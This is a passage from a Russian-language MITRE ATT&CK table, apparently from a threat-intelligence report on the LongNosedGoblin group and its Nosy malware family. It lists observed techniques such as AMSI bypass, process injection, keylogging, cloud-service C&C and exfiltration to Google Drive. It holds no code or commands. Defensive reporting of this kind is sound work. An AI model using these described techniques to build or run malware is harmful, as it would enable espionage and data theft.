| T1562.001 | Нарушение защиты: отключение или изменение инструментов | NosyDoor Stage 2, NosyStealer Stage 3 и NosyDownloader обходят AMSI. | |
| T1036.005 | Маскировка: использование имени или расположения законного ПО | NosyHistorian Stage 1 был замечен под именем Registry.pol, маскируясь под файл политики реестра. | |
| T1218 | Выполнение через подписанные бинарные файлы | NosyDoor Stage 1 выполняет следующий этап, используя законный UevAppMonitor.exe. | |
| T1055 | Инъекция процесса | Один наблюдаемый NosyStealer Stage 2 внедряет Stage 3 в pmp.exe через CreateRemoteThread. Другой наблюдаемый образец внедряет в notepad.exe через SetThreadContext с ResumeThread. | |
| T1620 | Загрузка рефлексивного кода | Donut использовался для выполнения NosyStealer Stage 3 и Stage 4 в памяти. | |
| Обнаружение | T1217 | Обнаружение информации браузера | NosyHistorian собирает историю браузера из Google Chrome, Microsoft Edge и Mozilla Firefox. |
| T1083 | Обнаружение файлов и каталогов | NosyDoor может перечислять файлы и каталоги. | |
| T1082 | Обнаружение системной информации | NosyDoor получает системную информацию как часть маяка C&C. | |
| Сбор | T1056.001 | Захват ввода: кейлоггинг | NosyLogger регистрирует нажатия клавиш. |
| T1125 | Захват видео | LongNosedGoblin использовал программное обеспечение для записи видео, вероятно, FFmpeg, для захвата аудио и видео. | |
| T1560 | Архивация собранных данных | NosyLogger шифрует собранные данные с помощью AES. | |
| T1074.001 | Этапирование данных: локальное этапирование данных | NosyLogger сохраняет нажатые клавиши, имена окон и содержимое буфера обмена в файле по жестко заданному пути. | |
| Командование и управление | T1071.001 | Протокол прикладного уровня: веб-протоколы | NosyDownloader использует HTTP для загрузки дальнейшей полезной нагрузки. |
| T1105 | Передача инструментов через сеть | NosyDoor и NosyDownloader могут загружать и запускать последующие полезные нагрузки. | |
| T1102.002 | Веб-сервис: двусторонняя связь | NosyDoor использует Microsoft OneDrive в качестве сервера C&C. NosyStealer использует Google Docs для получения команды-триггера и отправки отладочных сообщений, а Google Drive — для эксфильтрации данных браузера. | |
| T1573.001 | Зашифрованный канал: симметричная криптография | NosyDoor шифрует выходные данные команд C&C через AES. | |
| T1573.002 | Зашифрованный канал: асимметричная криптография | NosyDoor использует RSA для шифрования метаданных, отправляемых на сервер C&C. | |
| Эксфильтрация | T1567.002 | Эксфильтрация через веб-сервис: эксфильтрация в облачное хранилище | NosyStealer эксфильтрует данные браузера в Google Drive. |
